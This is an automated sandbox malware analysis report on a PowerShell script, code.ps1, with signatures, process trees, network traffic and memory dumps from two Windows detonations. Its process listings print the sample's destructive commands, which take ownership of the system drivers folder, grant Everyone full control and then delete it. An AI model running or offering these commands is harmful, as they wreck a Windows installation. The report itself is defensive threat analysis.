Malware Analysis Report

2024-11-16 12:48

Sample ID 240809-zdx8ysxhkp
Target code.ps1
SHA256 1059a9f91a8ba0b0d896499bcb9fb70001303c222b41000ff76ad621663e0486
Tags
discovery execution exploit
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

1059a9f91a8ba0b0d896499bcb9fb70001303c222b41000ff76ad621663e0486

Threat Level: Likely malicious

The file code.ps1 was found to be: Likely malicious.

Malicious Activity Summary

discovery execution exploit

Possible privilege escalation attempt

Modifies file permissions

Command and Scripting Interpreter: PowerShell

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-09 20:36

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-09 20:36

Reported

2024-08-09 20:37

Platform

win7-20240708-en

Max time kernel

15s

Max time network

19s

Command Line

powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\code.ps1

Signatures

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\takeown.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2980 wrote to memory of 2188 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2980 wrote to memory of 2188 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2980 wrote to memory of 2188 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2188 wrote to memory of 2772 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 2188 wrote to memory of 2772 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 2188 wrote to memory of 2772 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 2980 wrote to memory of 2292 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2980 wrote to memory of 2292 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2980 wrote to memory of 2292 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2292 wrote to memory of 2316 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 2292 wrote to memory of 2316 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 2292 wrote to memory of 2316 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 2980 wrote to memory of 2476 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2980 wrote to memory of 2476 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2980 wrote to memory of 2476 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe

Processes

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\code.ps1

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "takeown /f %windir%\system32\drivers\* >nul 2>&1"

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\system32\drivers\*

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "icacls %windir%\system32\drivers\* /grant Everyone:(F) >nul 2>&1"

C:\Windows\system32\icacls.exe

icacls C:\Windows\system32\drivers\* /grant Everyone:(F)

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "del /s /q %windir%\system32\drivers\* >nul 2>&1"

C:\Windows\system32\wbem\WMIADAP.EXE

wmiadap.exe /F /T

Network

N/A

Files

memory/2980-4-0x000007FEF59CE000-0x000007FEF59CF000-memory.dmp

memory/2980-5-0x000000001B470000-0x000000001B752000-memory.dmp

memory/2980-6-0x0000000002790000-0x0000000002798000-memory.dmp

memory/2980-7-0x000007FEF5710000-0x000007FEF60AD000-memory.dmp

memory/2980-8-0x000007FEF5710000-0x000007FEF60AD000-memory.dmp

memory/2980-9-0x000007FEF5710000-0x000007FEF60AD000-memory.dmp

memory/2980-10-0x000007FEF5710000-0x000007FEF60AD000-memory.dmp

memory/2980-11-0x000007FEF5710000-0x000007FEF60AD000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-09 20:36

Reported

2024-08-09 20:37

Platform

win10v2004-20240802-en

Max time kernel

11s

Max time network

11s

Command Line

powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\code.ps1

Signatures

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\takeown.exe N/A

Processes

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\code.ps1

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "takeown /f %windir%\system32\drivers\* >nul 2>&1"

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\system32\drivers\*

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "icacls %windir%\system32\drivers\* /grant Everyone:(F) >nul 2>&1"

C:\Windows\system32\icacls.exe

icacls C:\Windows\system32\drivers\* /grant Everyone:(F)

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "del /s /q %windir%\system32\drivers\* >nul 2>&1"

C:\Windows\System32\rundll32.exe

C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

Network

Country Destination Domain Proto
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 13.107.21.237:443 g.bing.com tcp
US 8.8.8.8:53 73.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 67.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 237.21.107.13.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp

Files

memory/1876-0-0x00007FF844513000-0x00007FF844515000-memory.dmp

memory/1876-1-0x000001E617460000-0x000001E617482000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0dyo3rcu.c2r.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1876-11-0x00007FF844510000-0x00007FF844FD1000-memory.dmp

memory/1876-12-0x00007FF844510000-0x00007FF844FD1000-memory.dmp

memory/1876-15-0x00007FF844510000-0x00007FF844FD1000-memory.dmp